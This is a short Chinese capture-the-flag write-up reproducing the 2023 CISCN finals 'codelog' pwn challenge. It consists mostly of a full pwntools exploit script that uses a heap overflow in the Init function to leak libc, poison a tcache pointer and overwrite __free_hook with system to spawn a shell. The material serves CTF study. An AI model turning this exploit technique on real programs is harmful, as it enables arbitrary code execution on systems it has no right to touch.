2023 ciscn 总决赛 复现
codeql
漏洞点主要是Init功能存在一个堆溢出,通过切割unsortbin泄露libc后,溢出修改tcachebin的fd劫持free_hook
设计了2个没用的功能,decode和encode,有点障眼法了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
v15 = malloc(0x20LL * v11);
v14 = malloc(v11 + 1);
for ( i = 1; i <= v11; ++i )
{
printf("char: ");
__isoc99_scanf("%s", &v14[i]);
printf("weight: ");
__isoc99_scanf("%d", &v15[4 * i]);
getchar();
v15[4 * i + 1] = 0;
v15[4 * i + 2] = 0;
v15[4 * i + 3] = 0;
putchar(10);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","")
p = process("./codelog")
elf = ELF("./codelog")
libc = elf.libc
# context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def Init(size,char,weight):
sla("log@code:/root/ $ ","Init")
sla("Size:",size)
for i in range(size):
sla("char:",char)
sla("weight:",weight)
def encode(len,con):
sla("log@code:/root/ $ ","Encode")
sla("The length of input:",len)
p.sendlineafter("Input: ",con)
def decode(len,con):
sla("log@code:/root/ $ ","Decode")
sla("The length of input:",len)
sla(">> \n",2)
p.sendlineafter("Manual input: ",con)
# sla("Confirm? [Y/N]",'Y')
def show_code():
sla("log@code:/root/ $ ","Show_code")
def show_tree():
sla("log@code:/root/ $ ","Show_tree")
def add_log(size,log):
sla("log@code:/root/ $ ","Add_log")
sla("size: ",size)
p.sendlineafter("log: ",log)
def dele_log(idx):
sla("log@code:/root/ $ ","Delete_log")
sla("idx: ",idx)
def show_log(idx):
sla("log@code:/root/ $ ","Print_log")
sla("idx: ",idx)
ptr = 0x405220
flag = 0x4052C0
code =[]
Init(0x48,"1",1)
show_tree()
for i in range(8):
add_log(0x110,"a"*8)
for i in range(7):
dele_log(7-i)
dele_log(0)
add_log(0x60,"")
show_log(0)
libc_base = l64()-0x1ecc00
lg("libc_base")
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
lg("free_hook")
# dbg()
payload = "1"*7 + p64(libc_base+0x1ecbe0)*1
payload += p64(0)+p64(0x91)+p64(libc_base+0x1ecbe0)*2
payload += 0x70 * "2"
payload += p64(0x90) + p64(0x130) + p64(free_hook)
sla("log@code:/root/ $ ","Init")
sla("Size:",2)
sla("char:",payload)
sla("weight:","1")
sla("char:","2")
sla("weight:","1")
add_log(0x110,"/bin/sh")
add_log(0x110,p64(system))
dele_log(1)
ia()
本文由作者按照 CC BY 4.0 进行授权